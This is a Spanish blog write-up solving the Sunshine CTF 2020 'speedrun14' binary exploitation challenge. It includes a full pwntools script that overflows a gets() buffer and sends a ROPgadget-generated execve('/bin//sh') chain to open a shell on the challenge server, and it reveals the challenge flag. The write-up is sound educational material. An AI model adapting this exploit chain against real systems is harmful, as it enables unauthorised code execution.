Ir al contenido principal

Binary Exploitation (XVII): Solución Reto Sunshine CTF 2020 "speedrun14"

Imagen
De

Solución a otro de los retos de la categoría 'Binary Exploitation' de la competición Sunshine CTF 2020.

En esta entrada la solución al desafío que lleva por título "speedrun14", y que, en mi opinión, presenta un nivel de dificultad medio (★★★☆☆).

- Enunciado:

- Solución: Se proporciona un archivo ejecutable (chall_14) y lo primero que hago es ejecutarlo; incluyo una cadena larga ('AAA…A') y veo que el programa es susceptible a un ataque de desbordamiento de ‘buffer’ (en inglés, ‘buffer overflow’):

Después, compruebo los mecanismos de seguridad del binario utilizando ‘checksec’:

Se trata de un binario de 64 bits, y como se ve en la figura anterior NX está habilitado, por lo que no podré inyectar ‘shellcode’ en la pila (en inglés, ‘stack’) para ejecutarlo, y PIE está deshabilitado, por lo que es fácil para un atacante el uso de sus funciones y de ‘gadgets’ del propio binario (en español dispositivos, y que, en este caso, son pequeños fragmentos de código ya presentes en el binario).

Como también se ve, entre las protecciones de este binario se ha detectado la existencia de un canario, que es un valor, generalmente aleatorio, que se coloca entre un ‘buffer’ y los datos de la pila adyacentes al mismo para detectar los desbordamientos del ‘buffer’, de tal forma que al final de una función se comprueba si se ha modificado su valor y, caso de que así sea, sería indicativo de que se ha producido un desbordamiento del ‘buffer’, ya que el valor del canario sería el primer dato en corromperse, y se podrían tomar las acciones oportunas, por ejemplo, advertir de esta circunstancia y dar por finalizado el programa.

Decompilo el binario con ’Ghidra’:
 
Veo que en main() se utiliza gets() por lo que el programa sería vulnerable a un ataque de desbordamiento de ‘buffer’.

La dirección de retorno de main() se encontraría desplazada 0x68 (104) bytes desde la cima de la pila (última dirección de memoria ocupada por la pila).

No veo funciones que pueda utilizar para abrir una ‘shell’, pero una cosa que me llama la atención es la gran cantidad de funciones que tiene el binario, por lo que también tendrá muchos ‘gadgets’ que un atacante pueda utilizar, y, por tanto, lo intento con ROP, ‘Return Oriented Programming’ (en español, Programación Orientada al Retorno), que es una técnica de explotación utilizada para redirigir la ejecución de código mediante ‘gadgets’ (en español, dispositivos) o pequeños fragmentos de código que, en este caso, ya están presentes en el binario.

Como tengo control sobre la pila debido al desbordamiento de ‘buffer’, puedo sobrescribir la dirección de retorno de main() con la dirección de un ‘gadget’ que realice, por ejemplo, ‘pop rax; ret’, por lo que, cuando finalice la ejecución de main(), el binario bifurcará a este ‘gadget’, transferirá el último valor almacenado en la pila al registro RAX, y luego bifurcará al siguiente ‘gadget’, si lo hay, y continuará la ‘ROP chain’ (en español, cadena ROP), que simplemente es una lista de direcciones cuyo contenido ejecutará el binario bifurcando a cada una de ellas una detrás de otra.

Por tanto, mi plan de ataque consiste en sobrescribir la dirección de retorno de main() con la de inicio de una cadena ROP que me permita obtener una ‘shell’, con lo que podré buscar y ver la flag, y, en consecuencia, resolver este reto.

Para crear la cadena ROP utilizo la herramienta ‘ROPgadget’, que buscará los ‘gadgets’ del binario que puedo utilizar.

Una vez que se obtengan los ‘gadgets’ se puede construir la cadena ROP de forma manual, pero si lo que queremos es abrir una ‘shell’ ‘ROPgadget’ es capaz de hacerlo automáticamente por nosotros (opción '--ropchain'):
Tal y como he dicho anteriormente, la dirección de retorno de main() se encontraría con un desplazamiento de 0x68 (104) bytes desde la dirección de la cima de la pila (última dirección de memoria ocupada por la pila), con lo que el tamaño del relleno de la cadena que debo incluir antes de la dirección de inicio de la cadena ROP generada es de 104 bytes.

Para implementar el ataque creo un pequeño ‘exploit’ mediante un ‘script’ en python para que envíe 104 bytes (0x68) de relleno y luego las direcciones correspondientes de la cadena ROP, con lo que sobrescribiré la dirección de retorno de main() con la de inicio de la cadena ROP, se bifurcará al primer ‘gadget’, después al segundo y así sucesivamente, y se abrirá una ‘shell’:

#!/usr/bin/env python3
# execve generated by ROPgadget

from pwn import *
from struct import pack

binary = ELF('./chall_14')

p = remote('chal.2020.sunshinectf.org', 30014)

payload = b'A' * 104
payload += pack('<Q', 0x0000000000410263) # pop rsi ; ret
payload += pack('<Q', 0x00000000006b90e0) # @ .data
payload += pack('<Q', 0x00000000004158f4) # pop rax ; ret
payload += b'/bin//sh'
payload += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
payload += pack('<Q', 0x0000000000410263) # pop rsi ; ret
payload += pack('<Q', 0x00000000006b90e8) # @ .data + 8
payload += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
payload += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
payload += pack('<Q', 0x0000000000400696) # pop rdi ; ret
payload += pack('<Q', 0x00000000006b90e0) # @ .data
payload += pack('<Q', 0x0000000000410263) # pop rsi ; ret
payload += pack('<Q', 0x00000000006b90e8) # @ .data + 8
payload += pack('<Q', 0x0000000000449b15) # pop rdx ; ret
payload += pack('<Q', 0x00000000006b90e8) # @ .data + 8
payload += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000040120c) # syscall

p.sendline()
p.sendline(payload)
p.interactive()

Lo ejecuto:
A partir de que se abra la ‘shell’, lo único que queda por hacer es buscar la flag en el servidor. Veo que hay un fichero llamado flag.txt que contiene la solución a este reto: sun{hail-to-the-king-c24f18e818fb4986}
Etiquetas:

Comentarios

Publicar un comentario

Entradas populares de este blog

Criptografía (I): cifrado Vigenère y criptoanálisis Kasiski

De
Hace unos días mi amigo Iñaki Regidor ( @Inaki_Regidor ), a quien dedico esta entrada :), compartió en las redes sociales un post titulado "Criptografía: el arte de esconder mensajes"  publicado en uno de los blogs de EiTB . En ese post se explican ciertos métodos clásicos para cifrar mensajes , entre ellos el cifrado de Vigenère , y , al final del mismo, se propone un reto consistente en descifrar un mensaje , lo que me ha animado a escribir este post sobre el método Kasiski  para atacar un cifrado polialfabético ( conociendo la clave descifrar el mensaje es muy fácil, pero lo que contaré en este post es la forma de hacerlo sin saberla ). El mensaje a descifrar es el siguiente: LNUDVMUYRMUDVLLPXAFZUEFAIOVWVMUOVMUEVMUEZCUDVSYWCIVCFGUCUNYCGALLGRCYTIJTRNNPJQOPJEMZITYLIAYYKRYEFDUDCAMAVRMZEAMBLEXPJCCQIEHPJTYXVNMLAEZTIMUOFRUFC Como ya he dicho el método de Vigenère es un sistema de sustitución polialfabético , lo que significa que, al contrario que en un sistema de
103 comentarios
Leer más

Criptografía (XXIII): cifrado de Hill (I)

De
En este post me propongo explicar de forma comprensible lo que he entendido sobre el cifrado de Hill , propuesto por el matemático Lester S. Hill , en 1929, y que se basa en emplear una matriz como clave  para cifrar un texto en claro y su inversa para descifrar el criptograma correspondiente . Hay tres cosas que me gustan de la criptografía clásica, además de que considero que ésta es muy didáctica a la hora de comprender los sistemas criptográficos modernos: la primera de ellas es que me "obliga" a repasar conceptos de matemáticas aprendidos hace mucho tiempo y, desgraciadamente, olvidados también hace demasiado tiempo, y, por consiguiente, que, como dice  Dani , amigo y coautor de este blog, me "obliga" a hacer "gimnasia mental"; la segunda es que, en la mayoría de las ocasiones, pueden cifrarse y descifrase los mensajes, e incluso realizarse el criptoanálisis de los criptogramas, sin más que un simple lápiz y papel, es decir, para mi es como un pasat
5 comentarios
Leer más

¿Qué significa el emblema de la profesión informática? (I)

De
Todas o muchas profesiones tienen un emblema que las representa simbólicamente y en el caso de la  informática: " es el establecido en la resolución de 11 de noviembre de 1977  para las titulaciones universitarias superiores de informática, y  está constituido por una figura representando en su parte central  un  núcleo toroidal de ferrita , atravesado por  hilos de lectura,  escritura e inhibición . El núcleo está rodeado por  dos ramas : una  de  laurel , como símbolo de recompensa, y la otra, de  olivo , como  símbolo de sabiduría. La  corona  será la  de la casa real  española,  y bajo el escudo se inscribirá el acrónimo de la organización. ". Veamos los diferentes elementos tomando como ejemplo el emblema del COIIE/EIIEO (Colegio Oficial de Ingenieros en Informática del País Vasco/ Euskadiko Informatikako Ingeniarien Elkargo Ofiziala ) . Pero no sólo el COIIE/EIIEO adopta el emblema establecido en dicha resolución, sino que éste se adopta también como im
Publicar un comentario
Leer más